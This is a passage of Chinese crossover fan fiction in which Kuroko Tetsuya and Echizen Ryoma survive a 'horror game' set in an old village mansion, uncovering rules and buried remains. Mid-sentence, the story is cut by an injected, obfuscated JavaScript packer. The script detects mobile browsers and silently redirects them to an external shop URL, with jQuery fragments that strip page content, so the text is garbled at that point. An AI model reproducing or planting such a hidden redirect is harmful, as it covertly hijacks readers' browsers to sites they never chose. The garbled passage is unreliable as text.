《黑子的恐怖游戏日常》
1. 新手关
“哲君,大家……会一直在一起吗?”
同样的街头,同样的人,同样的问题,这一次,帝光中学三年级篮球部一军成员黑子哲也保持沉默。
这条街的樱花凋谢得比别处早,此刻一些失去水分的干扁花瓣无力的落下,少许停在蓝发男孩发梢和肩头。
他对面,披着粉色长发的女孩露出一个勉强的笑容,声音带着不自觉的哽咽,“很晚啦,我要回家了,明天见,哲君。”
“明天见,桃井同学。”
目送同社团的经理远去,黑子迈开沉重的步伐,朝家的方向走去。
他眼前闪现很多画面。
和他的搭档,他的光青峰君一起快乐打篮球。
和篮球部的大家一起获得胜利,赛后激动的抱在一起。
青峰君开始情绪不对劲,他站在天桥台阶上,将冰棍塞到对方衣服里,坚定的说出那句“能打败青峰君的人一定会出现”。
桃井同学问他大家是否会永远在一起时,他坚定的回答“一定会的”。
队伍的氛围越来越糟糕,青峰君时不时逃训,他的劝阻被无视。
桃井同学问他能否阻止这一切时,他坚定的做出承诺。
那天大雨,河边,青峰崩溃无助的神色,再也不接他传球的话语。
赤司君劝他放弃青峰君,赤司君的第二人格出来了,坚定的表示没有比胜利更重要的东西。
紫原君也不参加训练了。
黄濑君减少了训练,增加了模特工作。
黄濑君、青峰君、紫原君开始玩比分游戏,赤司君纵容了。
他独自一人走在队伍最后。
……
“咚!”
书包滑落到地上,黑子也跪在地上,额头抵住电线杆,手用力抓住胸前的衣服,眼泪无力的溢出。
一年级时,他曾因无论如何努力,篮球技术都没有进步,还被教练劝退,也在这个地方哭泣过。
后来,他幸运的遇到了青峰君。青峰君没有嫌弃他弱小,每天陪他训练。
赤司君为他指明方向,他才能以另一种方式在队伍里发挥自己的价值。
和大家一起打球是那样的快乐,获胜的喜悦一直充盈着心田。
可现在,哪怕获胜,他内心也没有激动,只有深深的不安。
队伍出现裂痕,他却无能为力。
曾经的信任是那样的深厚,快乐是那样的真挚……想挽回,想阻止这一切,但……无能为力。
“我……能做些什么……该做些什么。”
细小的呜咽被晚风吞噬,就像他的祈愿坠入队伍裂痕深处,不见天日。
良久,黑子掏出手帕擦擦脸,捡起书包掸尽灰尘,表情疲惫的朝家的方向走去。
他目光始终有些涣散,没能发现不知从哪儿飞来一张传单,静静地躺在他前行的路上。
脚掌落下的瞬间,巨大的失重感传来,黑子下意识的抓紧书包的肩带。然而,一股诡异的力量轻松的将他们分离。
传单消失不见,留在原地的,是帝光中学学生标配的书包和一部手机。
【欢迎来到恐怖游戏】
【游戏内禁止玩家互相伤害】
【游戏内死亡游戏外亦死亡】
【新手关有几率激发天赋技能】
机械的没有感情的声音如针扎般刺痛黑子的大脑。
咽下呻/吟,他扶额坐起。
“这是哪里?”
“谁在说话?”
“等等,为什么我脑子里有一道声音?”
有人先他一步,将他的疑问说出来了。
黑子站起身,如往日里那样,安静的观察。
和他有同款疑惑的是站在右手边不远的一男一女。
男人穿着西装,脸色苍白,眼下有明显的黑眼圈,应该是长年加班的上班族。在发表疑惑期间,他目光一直在地面扫来扫去。
女人穿着白色长裙,披着长发,只能看出二十左右,暂时判断不出身份职业。
更远一些的,也是一男一女。
男人有一双吊眼,左脸有一道伤疤,薄须,身材高大,穿着深蓝色的工装,年龄三十往上。女人留着齐肩黑发,戴着黑框眼镜,穿着西装,手指沾了墨迹,看上去是上班族。
而和他一样默默观察的,是站在左手边的一个男孩。男孩身量比他矮一些,戴着白色鸭舌帽,从这个角度可以看到墨绿色的发梢和一双猫眼,身上那套制服有些眼熟。
黑子想了想,这好像是距离他们家不算远的青春学园国中部的男生制服。根据领口绣着数字来看,是一年级的学弟。
包括他在内,一共六人来到这个陌生的地方——泛着白色雾气的空地。远处,隐约可以看到古宅的一角。
“新人们,别紧张,”留着齐肩发的上班族主动安抚,“这里是恐怖游戏,在你们脑海里说话的是游戏系统,系统会给你一些提示。”
说话间,她推了推眼镜,镜片一阵反光,“比如游戏内禁止玩家互相伤害,新手关有几率激发天赋技能之类的。好好表现,激发了天赋技能,早些攒到十万积分,就可以离开游戏了。”
“说那么多做什么,”穿着工装的男人不耐烦道,“这些新人能不能活到副本结束都难说。”
原本因齐肩发上班族面色稍缓的两人听了这话,脸色苍白起来。他们有心继续询问,却被男人瞪了一眼。
“别啰嗦,人齐了,赶紧发任务!”
黑子再次听到那道机械没有感情的声音。
不过这一次,那道声音不是响在大脑里,而是半空中。
【六名游客因大雾被困长尾村,经人建议,他们决定去村长家借住。】
【主线任务:存活三日。】
“看来那栋宅子就是村长家,我们赶紧出发。一般情况下,我们踏入房屋时,游戏开始计时。”
齐肩发上班族主动介绍:“对了,我叫渡边。如你们所见,是个上班族,还没下班就被拉到这里来了。”
“我叫高桥,”穿着白色长裙的女孩忍不住向她靠近,“是个大学生。”
高桥表情有些难看,“必须待三天才能离开吗?我明天有一门课必须出席,如果缺勤,会直接挂科!”
“我也是我也是!”穿着西装的男人激动道,“有没有办法让我早点出去?我明天有个很重要的项目要汇报。对了,我随身携带的电脑不会丢了吧,里边有我才完成的报告!”
“电脑手机背包这些没法进入游戏,会留在原地,”渡边继续安抚,“放心吧,游戏内外时间流速不同。三天过去,现实只过去很短暂的时间,不会影响你们的学习和工作。你还没介绍呢。”
听到时间流速不同,西装男松了口气,情绪也没那么紧绷,“我叫田中,也是个上班族,是在下班路上被拉进来。这是我一周唯一一次正常下班,结果发生这样的事情,真倒霉。”
“你呢,小弟弟?”
渡边自然的略过黑子,望向他的左侧。
戴着鸭舌帽的男孩压低帽檐,“越前。”
“居然连小学生都拉进来,”田中嘀咕,“这个游戏真是丧心病狂。”
越前:“……”
黑子清楚的看到名叫越前的初一生僵住了,还悄悄看了田中一眼,继续压低帽檐,隐晦的四处打量。
“别耽误时间,快点出发。还有,我叫山下。虽然经验很·丰·富,但和那个烂好心的女人不同,对带新人和小孩没什么兴趣。”穿着工装的男人催促。
渡边:“这样评价初·次·见·面的人,你有些失礼。”
“啊,你有意见?”
渡边无奈一笑,似乎不想和山下发生冲突,包容了这种不友善的态度。
“等等,”高桥紧张的喊住准备前往村长家的几人,“不是说六个人,还有一个呢?”
“对啊,明明系统说了六个人,我怎么会忽略这么重要的信息?”田中使劲拍脑袋,“加班把脑子搞坏了?”
山下和渡边的脸一僵,紧接着前者声音大起来,“谁啊,游戏还没开始就用技能躲起来?”
黑子主动上前,出声,“我在这,我叫黑子。”
“呜啊!”田中吓得差点跳起来,“你这个孩子好吓人啊。”
高桥直接往渡边身边凑。
渡边笑容有些勉强,“倒也不必这么早用技能。”
山下:“年纪不大,倒是多疑,有这个必要?”
“是啊,”渡边轻声道,“反正玩家之间不·能·互·相·伤·害。”
自己被误会有技能了。
想到最初几人的互动,黑子没有否认,也没有承认。
他平静的说:“我们出发吧。”
许是才崩溃过一次,脑袋里的声音,陌生的地方,陌生的人,陌生的规则,如此种种都没法冲击他的内心。
他在逃避篮球部的裂痕。黑子清楚的意识到这一点。他低头看纹路清晰的手掌,缓慢的握紧。
六人一同朝村长家进发。
期间田中和高桥不停询问渡边有关游戏的事情,渡边都回答了。
游戏内玩家不能互相伤害。
游戏内死亡游戏外会以不引起官方怀疑的方式死亡。
通关副本会获得积分和道具卡,消耗十万积分可以换取彻底离开游戏的机会。
以及,只有新手关才有机会激发天赋技能。
然后话题顺势转到黑子身上。
“是隐去身形之类的能力吧,甚至可以影响到游戏系统公开的情报,不仅让我们从视觉,也从其他方面忽略你,”渡边笑道,“很适合调查线索呢,待会进入别墅,情报工作就拜托黑子君了。”
之前一直缠着她的田中和高桥忽然不说话了,表情还有些尴尬。
向来有礼貌的黑子没有应下来。
他站在和屋庭院院门口,“到了。”
渡边推了推眼镜,脸上依旧挂着得体的笑容,余光却是飞快看了山下一眼。山下扯扯唇角。
被当作小学生的越前抬起帽檐看了看两个老玩家,再次压低帽檐。
一个穿着七宝纹和服的银发老人出现在视野里。他并没有来到庭院门口迎接,而是遥遥隔着庭院,站在走廊上对几人招手。
“几位客人,请进来吧。”
有礼貌,又很古怪。
只是不进入庭院,游戏没法正式开始,六人还是陆续进入。
踏进庭院的瞬间,黑子眼前出现一个半透明的面板。
【姓名:黑子哲也】
【年龄:15】
【状态:游戏中】
【副本背景:听闻长尾家先祖的传奇爱情故事,你很好奇,趁着周末前往长尾村,在抵达附近车站时遇到其他五人。一番交谈,你得知大家都是因长尾家先祖的爱情故事前来,于是结伴而行,却因大雾被困长尾村,不得不前往村长家借住。听村里人说,村长家是长尾家的主脉。】
【主线任务:存活三日】
【倒计时71:59:55】
系统商城一栏是灰色的,没有看到天赋技能之类的字眼。
他还以为真的开局激发天赋技能,才会让两位老玩家忽略系统提到的“六人”。不过,哪怕两位老玩家的资历水分比较大,不如新人敏锐,也不会忽略这么明显的内容吧?
黑子疑惑,没有声张,他注意到,大家都在看前方半空中。
两位老玩家匆匆扫了眼,开始打量他们以为的三个新人。
“怎么样?”渡边温和的询问,“有人幸运的开局就激发了天赋技能吗?”
“没有。”田中和高桥摇头。
越前压低帽檐,冷淡的说,“没有。”
“这样啊,”渡边继续微笑着,语气带着些许鼓励,“没关系,只要是新手关,随时都可能激发天赋技能。听说有的玩家在通关时才激发呢。”
田中和高桥重新开心起来。
黑子却看到,在得到否定回答时,这位渡边女士的唇角有瞬间的拉平,眼神也冰冷了许多。
山下的嫌弃很明显,“啧,没有天赋技能,没有积分连系统商城都开不了,之后少拖我后腿。”
他大步朝前走去,很快走到廊下和穿着和服的老人交谈,看上去一点都不在意田中和高桥突变的表情。
“别在意,”渡边熟练的安抚,“哪怕没有积分没有技能,好好找线索一样有机会通关。一般来说,副本开局提供的情报决定着副本难度。这次情报不多,副本难度应该不高。待会进去只需要遵守规则,找一些隐藏的死亡规则,就能存活到最后。”
“再说了,”这一次她直接略过戴着鸭舌帽的越前,望向黑子,“我们有这么多人,一半是老玩家,人多力量大,肯定能找到所有死亡规则。”
黑子平静的回视,“让那位老先生一直等着有些失礼。”
“对啊,不知道没礼貌算不算违反规则,”涉及规则,田中和高桥反应很快,拔腿朝别墅大门走去,还回头催促他们几人,“快点呀,别让他等久了。”
渡边保持微笑,“这就来。”
她匆匆越过黑子和越前。
两个年纪最小的落到最后。
“你好。”黑子打招呼。
“你好,”越前懒散的将手插在兜里,声音轻到风一吹就散,“狡猾的大人。”
是啊,狡猾的大人。
黑子深有同感的点头。
“我是长尾家的管家长尾忠次郎,老爷听说了你们的情况,同意你们借住,也吩咐我准备好了房间。”
长尾忠次郎引着几人在走廊穿行。
长尾家很大,只是看上去有些年久失修,只能从有些破败的景致窥见以前的盛况。
过了一会,长尾忠次郎在一排屋子前站定,满脸歉意,“只是这宅子只剩下老爷、大小姐、我和两个仆人,实在照看不过来,只收拾了三个房间,委屈你们了。”
“不委屈不委屈,”渡边笑道,“刚好我们有六人,两人一个房间。”
“你们能理解真是太好了,”长尾忠次郎指着一排三间和室,“这三间房你们自由分配。不过老爷向来喜欢和睦,分好房间后最好不要随意更改。”
六名玩家表情严肃起来。
“老爷喜欢安静,还请住宿期间不要大声喧哗和打闹,”长尾忠次郎不疾不徐,“早上七点,中午十二点,晚上六点是用餐时间,十点是就寝时间。”
“还有,”这位管家表情忽的严肃起来,“这栋宅子比较大,有些地方年久失修,偶尔会发出奇怪的声音,特别是入夜后。入夜后听到奇怪的声音请不要随意走动,老爷不喜欢没有礼貌的客人。”
几人对视。
“接下来请诸位自便。”
长尾忠次郎朝几人微微鞠躬,转身离去。
穿堂风刮来,发出呜咽的声音。
田中抖了抖,“刚刚那段话里有很多规则吧?只要遵守这些规则,我们就安全了?”
“渡边姐不是说了会有一些隐藏的死亡规则?”高桥反驳,进入这栋宅子后,她一直离渡边很近,“而且,我不觉得故事背景里长尾家的爱情故事是摆设。”
渡边赞许的看了她一眼,“高桥说的没错,不过这之前,我们先分房间吧。分好房间后就不能随意改动了。”
高桥期待的看着她,渡边也如她愿,主动说,“我们两个住在一起比较方便,就住这间。”
她选择靠左的一间房间,房间另一侧是空地。
黑子平淡的目光在她脸上转了一圈,“高桥女士和渡边女士住中间吧。”
他望向没选房间的几人。
“无所谓。”越前耸肩。
“我没意见,”田中习惯性做出抱公文包的动作,似乎这样做能带来安全感,“你们住中间挺好的,发生什么喊一声我们都能及时赶到。啊,虽然我没什么游戏经验,平时也没怎么锻炼。”
最后一句语气弱弱的,还不敢看老玩家山下。
“随便你们。”山下想瞪黑子,又顾及到什么,推开靠右边房间的房门。
“多谢两位小绅士和这位大绅士了。”渡边微笑,眼里却没什么笑意,随后推开中间房间的门,先走了进去。
之前一直黏着她的高桥迟疑了下,对黑子几人点头,也走进去。
越前直接走向最左边的房间,用实际行动表示不和山下一间房。
“那个,”田中望向还没动的黑子,“我记得刚刚管家说三间房自由分配,分好房间后不要随意改动,没要求一定两两分组?”
黑子点头,“应该是这个意思。”
“那我们能三人一间房吗?”田中有些不好意思,他回头看看最右边的房间,压低了声音,“我不太敢和他一间房。”
“因为山下先生说不会帮新人吗?”
“有这个原因,主要是,他的气质和我一个上司有点像,”田中一脸恐惧,“我不敢想象和那个上司住一间房的场景。肯定做梦都是他骂我和加班的画面。”
黑子沉默。
这话他不全信。
他们都是新人,而这位田中先生的人生经验比他们学生丰富得多。
想了想,黑子还是决定坦白自己也是新人目前没有激发天赋技能的事情。
他并不能隐身,但天生就薄弱的存在感应该也能在寻找线索时起到一定的作用。
之前在古宅外,如果他不出声,系统也不说有六名玩家,大家估计真能把他忘记。刚刚一路过来,管家的目光也不曾落在他身上。这代表,他的薄弱存在感对游戏里的人物也生效。
不等黑子开口,田中已经小声问,“你是不是觉得我想抱大腿?”
他抓抓头发,空气中有细小的碎屑飞舞,“我不是很懂什么天赋技能,而且就算你的技能适合调查情报,我也不能白拿你的情报啊。这不是在欺负小孩子嘛。”
田中回忆起和他同在一个项目小组的同事,表情略微狰狞。
“我平时最讨厌那种工作不出力,要分功劳时理直气壮跳出来的人。我不会成为那样的人!”
黑子想到当时渡边女士提议他用“技能”调查情报时,田中和高桥忽然沉默表情尴尬的画面。
他相信这个理由了。
“我愿意和田中先生一个房间,不过,这件事还需要问问越前君。”
“我没意见。”听到两人的来意,已经躺在榻榻米上的越前随意道。
田中目瞪口呆。
“你、你就这样躺下了?”
“不然?”将帽子放在一边,越前改为侧躺,单手撑着下巴,“存活三日才算通关,才能离开。在不违反规则的前提下,随便玩家怎么活吧?”
田中无言以对。
“越前君,田中先生,”黑子规规矩矩的正坐,“趁着这个机会,我们可以总结已经出现的游戏规则。”
“我来总结吧,”田中决定拿出大人的气概,“第一,分房间后不能随意更改。第二,住宿期间不能喧哗和打闹。第三,就寝后,哪怕听到奇怪的声音,也不能随意出门查看。”
黑子点头,“管家说老爷喜欢和睦,也许这份和睦不仅表现在分房间后不能随意更改,还有我们之间要和睦相处,不能吵架打架。”
“这份和睦如果扩大,不仅是客人,还包括这栋宅子里其他人,也就是游戏NPC,”越前补充,“这意味着,只要我们不违反规则,NPC不能对我们动手。反过来,如果NPC随意对我们动手,我们反击不算违反规则。这个猜测需要验证。”
“有道理。”田中摸下巴。
“老爷喜欢有礼貌的客人,‘礼貌’的概念也很宽泛,”黑子推测,“管家提到了三餐进食时间,却没格外的嘱咐。有礼貌的客人不会让主家在餐厅等待,或者浪费主家的食物。因此,我们最好在三个时间点准时出现在餐厅。”
“还要吃光食物。”越
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332775|199184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前补充。
“有道理,”田中心虚的放下手,干笑,“你们考虑得比我周全得多,看不出来是小学生和中学生。”
“我是中学生。”越前强调。
“啊,啊啊,这样啊。”田中继续干笑。
黑子别过头,又转回来,“关于入夜后奇怪的声音这一点,我觉得,这个副本的秘密就在这儿。”
“没错,游戏里一般都这么设置,禁忌等于秘密,”越前他翻身盘腿坐着,继续单手撑着下巴,“问题在于,是十点后出门算违反规则,还是被NPC发现出门才算违反规则?”
说话间,他目光转向两个房间相通的墙壁上,又缓慢的转回来。
“也对,这个得试一试,就怕试试就逝世,”田中苦恼的抓头发,“要不要去找他们商量……”
话没说完,他愣住,随后表情严肃起来。
黑子和越前对视。
黑子:“待会遇见可以问问。”
“人多力量大,”越前懒洋洋的重复渡边说过的话,“高桥女士挺敏锐的,当时我们五个人,只有她先发现黑子君没露面。说不定这一次,她也有其他发现。”
田中表情更加严肃了。他也想起当时渡边和山下僵硬的表情。如果真如两人说的那样,是黑子天赋技能的效果,那为什么高桥一个新人先一步发现?
他比高桥迟钝很合理,两个老玩家比新人迟钝,就不合理了。现在想想,那句话是不是刻意找补呢?
“你们觉不觉得,”他斟酌着说辞,又摇头,“算了,我先观察下。”
“我看到了。”黑子冷不丁道。
“看到什么?”田中疑惑。
“你和高桥女士惊呼后,渡边女士和山下先生有过眼神交流,也许他们之前认识。”
“我也看到了,”越前拿起帽子戴上,“也可能之前不认识,只是在发现副本来了新人后,表现出独属于一些老玩家之间的默契。”
田中眉间挤出褶子。
“我没有注意到这一点。”
他没有出言质疑黑子和越前,也没有说出怀疑渡边和田中的话,就这样皱着眉头沉默了一会。
越前打了个哈欠,“休息还是开始调查?”
“调查吧,我这会睡不着。”
田中起身,“刚刚忘记问游戏里的时间,天色又灰蒙蒙的,万一马上要吃饭就不好了。我们先找到几个关键的地方,比如厨房和卫生间。之后再和宅子里的几个人聊聊。老爷不会随便见我们,但其他四个人可以试试。”
他急吼吼的出门,“我去喊高桥他们。”
很快隔壁响起了敲门声。
黑子慢吞吞站起来,回头看不停打呵欠的越前。
“越前君先高桥女士一步发现我没露面。”
他记得越前在听到系统公告后,一直隐晦的四处打量,显然是在找他。除他之外五人里,最敏锐的是越前,其次是高桥。
“发现你没露面,但没找到你。”
越前那双猫眼好奇的看过来,“我不觉得你是多疑的人。”
黑子听懂了他的潜台词,解释,“我是新人,还没有激发天赋技能。你们没看到我,只是因为我存在感比较低。”
“哎?低存在感能做到这一点,和隐身没什么差别嘛。”
黑子多看了这位学弟一眼。
没有质问他当时为什么不坦白。
“越前君,我目前读中学三年级。”
“是前辈啊,”越前起身,“游戏里请多指教了,黑子前辈。”
“请多指教,越前君。”
出门前,越前就“薄弱存在感”聊了聊。
“哪怕存在感薄弱,‘六人’还是很明显的信息。‘经验丰富’这个词水分再多,两个老玩家也不至于没发现,”越前推测,“这更像是‘薄弱存在感’延伸到系统公开信息上,就像是渡边女士说的那样。”
“越前君是指我有激发天赋技能的潜力,技能已经在无形的进行影响?”
越前爽快承认了。
“就像有些人的才能很明显很耀眼,有些人的才能经由时间缓慢显露。黑子前辈像是后者。”
黑子忽然想到了篮球,心脏泛起疼痛。他没有篮球方面的才能,因为赤司君的帮助才找到正确的使用自身薄弱存在感的方向,以普通人的身份加入这支天才群集的队伍。他曾经很庆幸,很开心,很珍惜。
但现在青峰君不再接他的传球。他的传球依旧能在比赛中助攻,只是得分和获胜后,没能和以前那样带来快乐。
他眼神比之前暗淡了一些,又逼迫自己振作起来。
“借你吉言了,越前君。如果是这样,一开始就注意到这点越前君很有潜力。”
“我也这么觉得,”有着猫眼的男孩露出自信的笑容,“有了两位狡猾的大人做对比,我觉得离那一刻到来并不远。”
黑子定定的看着这个自信飞扬的学弟,因篮球部变故而有些沉重的心情终于轻松了一些。
“越前君,这一刻的你很耀眼,就像太阳一样。”
刚刚还很自信的男孩瞪大了猫眼,紧接着压低了帽檐。
“我听到田中先生的声音了,去汇合吧。”
说完步履匆匆开门房门。
原来学弟是自信但容易害羞的类型。
黑子这么想着,慢吞吞的跟上去。
·
“还有两个小时才是午餐时间,如果客人您饿了,可以先吃些点心垫垫,我会尽快准备好午饭。”
见自称是厨娘的阿菊准备去拿点心,目前还不确定这儿的食物是否对人体有影响的黑子轻声拒绝,“不用了,我不饿,只是初来乍到,还不熟悉这儿的规矩。想拜访长尾老爷,又担心打扰到他。”
“老爷喜静,平时餐食都是忠次郎先生单独送去。如果打扰到他,他会生气的。除了每月十五……”阿菊回忆,“刚好是后天,他会露面,和大小姐一起共进晚餐。如果有客人在,也会亲自招待客人。”
后天?
黑子算了算时间,他们接近九点半进入长尾家,游戏开始计时,直至后天上午九点半,刚好是两天整。后天晚上,恰好应该进入一段故事的高/潮。高/潮过去,迎来早上,差不多就能结束游戏。
“我明白了,长尾老爷好心收留我们,我不会打扰他。那我能和大小姐道谢吗?”
一直很和蔼的阿菊有些惊讶,语气带着薄怒,“你一个外男怎能见大小姐?被老爷知道,他会生气的。”
黑子赶紧道歉,又聊了会,得知平时三位仆人的分工。
管家负责管理这栋宅子和物资采买,照顾老爷,阿菊主要负责厨房,还有一个年轻仆人小梅负责照顾大小姐。此外阿菊和小梅负责房屋清洁。
“每日清洁工作都是由忠次郎先生通知我们,我们不能随意去未被告知的地方。不过工作这几年,我只有主屋没去过了。四年前我刚来的时候,还想好好表现,去打扫主屋庭院里的供养塔,结果被呵斥了一顿,之后再也不敢自己拿主意了。”
黑子顺着阿菊指的方向看过去。
从厨房这个方向,只能隐约看到供养塔的一角。
之前田中先生去邀请另三人一起探寻这栋古宅,结果发现山下不知何时离开房间了,渡边和高桥则表示想休息一会再开始调查。最后是他们三人结伴。为提高效率,他们决定分工合作。
为记住这栋宅子的布局,黑子去过主屋附近,也注意到主屋外庭院朝南的地方搭建着一栋三层楼高的石制佛塔。除非是以前古代的贵族,或者是有着特定信仰的家庭,很少会有私人宅邸在庭院里建立这种设施。
和看上去比较破旧的古宅不同,这栋供养塔很干净,外墙没有任何苔藓和污迹,仿佛经常被人擦洗。然而,塔门挂着一把锈迹斑斑的大锁,仿佛很久没人进去过。
这个副本的天空一直灰蒙蒙的,古宅外还有浓郁的雾气,建筑物大多破旧,外墙爬着不少绿植,整个氛围很阴森。
如今,灰色调的环境里突然出现一抹亮色,他不仅没有仿佛见到光芒的欣喜,心里只觉得怪异,想逃离。
毫无疑问,没有主人的允许撬锁进入供养塔是非常失礼的举动,哪怕直觉告诉他里边有秘密。在不清楚到底是“没有礼貌算违反规则”还是“被发现没有礼貌才算违反规则”之前,他并不敢为这个秘密冒险。
以及,他没有掌握撬锁这项技能。
现在,新的问题来了,这几年阿菊没打扫那座供养塔,供养塔为何那么干净?
“难道平时都是忠次郎先生打扫供养塔?”相较还没见过的小梅,黑子偏向怀疑管家,“真是辛苦他了。”
“哎,是这样吗?”阿菊伸出手指抵住脸颊回忆,“老爷只信任忠次郎先生,平时餐食由忠次郎送过去,房间也是忠次郎先生打扫。他每次打扫时间并不长。也许是在我们没注意的时候,去仓库拿工具打扫供养塔吧。”
又聊了一会,黑子提出离开,实际上依旧在厨房外徘徊,暗中观察阿菊的举动。
对方没发现他,没去找管家或小梅交流,认认真真的准备午餐。观察了一会,他抬脚离开,走出一段距离,听到熟悉的声音。
之前先一步离开房间的山下靠在厨房门口,他裤腿和鞋子沾了些新鲜的泥土,问话相当直接。
“我听说了长尾家的爱情故事才来这个村庄的旅游,你听说过那个传说吗?”
“当然听说过,长尾村的人都知道。”阿菊露出自豪的笑容。
神态语气和刚刚回答黑子时一模一样,就连回答的内容都没多少变化,简直像设定好的程序,触发关键词就会一板一眼的回答。
如果这是隔着屏幕打虚拟游戏,他不会觉得奇怪。可现在,他切实的站在一片陌生的土地上,能感受到空气的温度和湿度。刚刚近距离,他也能闻到厨房里的香味,数清楚阿菊眼角的皱纹条数。
人是那样真实,偏偏言行举止又很僵硬死板。
2. 新手关2
“我和小梅聊过了,黑子前辈。”
路过一个拐角时,靠在墙上的猫眼男孩开口。
黑子停住脚步,“我也和阿菊聊过了。”
“小梅很反感我打听大小姐的事,说了几次‘你可是外男’‘这不太合适’,所以,应该只有女性可以见到大小姐。”
“或者后天晚饭时间,老爷亲自招待客人的时候,”黑子表示阿菊说了类似的话,“那个时间有些晚了。”
“还有一点,”越前回忆,“我找到小梅的时候,她在洗衣服。按照数量和款式,有一套老年男性的,一套年纪比较大的女性的,两套年轻女性的。两套年轻女性的尺码感觉差不多,布料看上去和小梅现在穿的那套差不多。大小姐的穿着身量和小梅类似?”
越前觉得这不太合理。
黑子也有类似的感受,“只有深得老爷信任的管家可以进入主屋,大小姐见外男不合理,代表这是一个讲究规矩甚至有些守旧的家庭。这种环境下,会允许仆人和大小姐穿的一样?”
“还有那套男性服装,款式布料和管家身上穿的差不多,”越前觉得很奇怪,“老爷不换衣服?”
“阿菊说过她不能进入主屋清洁,老爷只信任管家,也许这种清洁包括衣物,又也许有另一种可能。”
越前听懂了,“还差一些关键线索,先和田中先生汇合。”
“汇合之前,我想去花园看看,应该有花园之类的地方?”黑子回忆一路过来,不是走在木制的走廊,就是石头小路上,没有沾到新鲜泥土的机会。
越前转身,“在靠近大小姐居住的地方,我路过一次。”
这一次越前不是路过,而是站在开满各种艳丽花朵的花园里。临近中午,天空依旧阴沉沉,这种阴沉不曾影响这些花儿半分。
“太艳丽了,让人很不舒服。”越前评价。
“我之前看到供养塔时也是这样想,那座塔外墙太干净了。”黑子说出他看到石制佛塔时的感受。
他仔细观察,很快在地上找到几个泥脚印,紧接着发现有些泥土有翻动的痕迹。
越前跟过来,“有人挖了花又种回去。”
被翻动的泥土上有几株歪歪斜斜的花朵,可见种回去的人要么很匆忙要么没耐心。
判断出这点,越前立马说,“我去放哨。”
没一会,黑子走到花园入口,脸色比刚进游戏时苍白一些。
“黑子前辈,里边埋了什么?”越前压低了声音。
·
“我和管家聊过,他说长尾家的爱情故事源远流长,留下不少记载,都放在藏书阁里。但藏书阁的开放时间是下午一点到五点。我去看过,门上挂了锁。”一会面,田中迫不及待的开口。
他一路跑过来,这会满头大汗,呼吸有些不稳,“我没急着走,躲在附近看管家和其他人会不会过来。你们猜我看到谁了?”
黑子和越前对视,异口同声,“渡边女士。”
“哇,猜的好准。”
田中竖起大拇指,“渡边从窗户外翻进去了,刚刚才走。我看到她像是在怀里藏了些什么,赶紧过来和你们说。”
挠了挠有些后移的发际线,田中不确定道,“不管是没经过允许翻窗户进去,还是带走藏书阁里的东西,都算不礼貌的客人吧?她是老玩家,这么做应该有底气,也就是说,她觉得只要不被发现就不算违反规则?”
这么一想,田中反而轻松起来,“既然她有把握,代表她不需要利用新人……咳咳,通过观察其他玩家验证这个规则,是我误会她了。”
黑子想了想,“你有看到高桥女士吗?”
“哦,她去见大小姐了,”田中指了指另一个方向,“我看到她在花园里摘了一些花,和管家说想感谢老爷,如果老爷不方便就感谢大小姐。管家就带她过去了。”
“摘了花园里的花?”x2。
“对啊,”两个小孩都拔高音量,将田中吓了一跳,“你们怎么了,脸色很不好。”
“花园里,”黑子有些艰难的说,“埋了白骨。”
田中还没反应过来,越前补充,“人类的。”
“!!!”田中整个人开始褪色,结结巴巴,“花园里有尸体?有、有多少?”
不久前才受到惊吓的两个少年噎住。
黑子摇头,“不清楚,我只挖到一具,看上去死者身量不大。”
他解释他去花园的理由。
“我不清楚山下先生是查到其他线索,还是随机挖了一处。如果是后者……”
他没明说,越前和田中却不由自主脑补花园里埋了许多尸体的画面,纷纷打了个寒颤。
这件事的冲击有点大,一时之间谁也不敢说“找个时间把花园全翻一遍看看”这种话。
“糟糕,高桥摘了花园里的花,不会有危险吧?”田中担心起来,又想起什么,自我安慰,“当时管家对她的态度还挺好,应该没问题。”
“请问这是什么时候的事?”黑子赶紧问,“您能说说详细经过吗?”
“就我和管家聊完之后不久,”田中回忆,“我看到她摘了花出来,问她要去做什么。她说想和大小姐接触下,看能不能找一些死亡规则。我就陪她去找管家,管家同意带她去见大小姐,又很生气的表示‘小大姐不会见外男’。我怕违反规则,和她告别后去了藏书阁,之后一直待在现在。”
“等等,是不是快要吃午饭了?高桥还没回来?赶得及吗?”田中反应过来,“我们去找她?”
“好。”x2。
途中,他们遇到山下,听说高桥去见大小姐现在还没回来,山下立马问。
“渡边呢,没和她一起?”
黑子注意到山下提到“渡边”时,表情有点不爽。
田中有些拿不定主意。他有些后悔当初没多问高桥几句,直觉告诉他,高桥会去花园摘花还去找大小姐和渡边有关系。如果渡边可疑,那这个山下同样可疑。
他不自觉的望向年纪比自己小的两个少年。
黑子表情平静的回答山下,“没看到,也许和我们错开了。”
山下眯起眼,将三人上下打量一番,冷哼着越过几人大步朝前厨房走去,“那个女人最好……”
山下走得太快,黑子几人没听到后边压低的话语。
“我现在觉得,”田中表情严肃,“他们之前真的认识了。”
“之前山下先生还会装一装,现在……”黑子思索,“渡边女士和高桥女士分开行动让他心情不佳。”
“我看到管家了。”越前突然说。
“那位客人和大小姐聊天到现在都没出现?”
听完几人的来意,管家惊讶,随后失笑,“大概是大小姐难得看到同龄人,舍不得那位客人吧。这样,我把那位客人的食物一同送去。几位先去餐厅,错过饭点可不好。”
田中皱眉,一时之间想不到辩驳的理由。
“长尾先生,很抱歉,”黑子向前一步,朝管家微微鞠躬,“我一直和姐姐一起生活,关系和·睦,如果她不在,我也没有胃口吃饭,请提前原谅我的失·礼。如果您愿意帮忙询问姐姐一声,我不胜感激。”
管家的笑容淡了一些。
发现这一点,原本惊讶黑子演技的越前摘下帽子,微微垂头,声音难得有些干巴,“哥哥和姐姐都不在,我一个人孤孤单单,也没有胃口吃饭,请提前原谅我的失·礼。如果您愿意帮忙询问姐姐一声,我不胜感激。”
管家彻底没了笑容。
黑子开口时田中还在疑惑这突如其来的姐弟关系,等越前开口,他眼前一亮,觉得自己懂了。
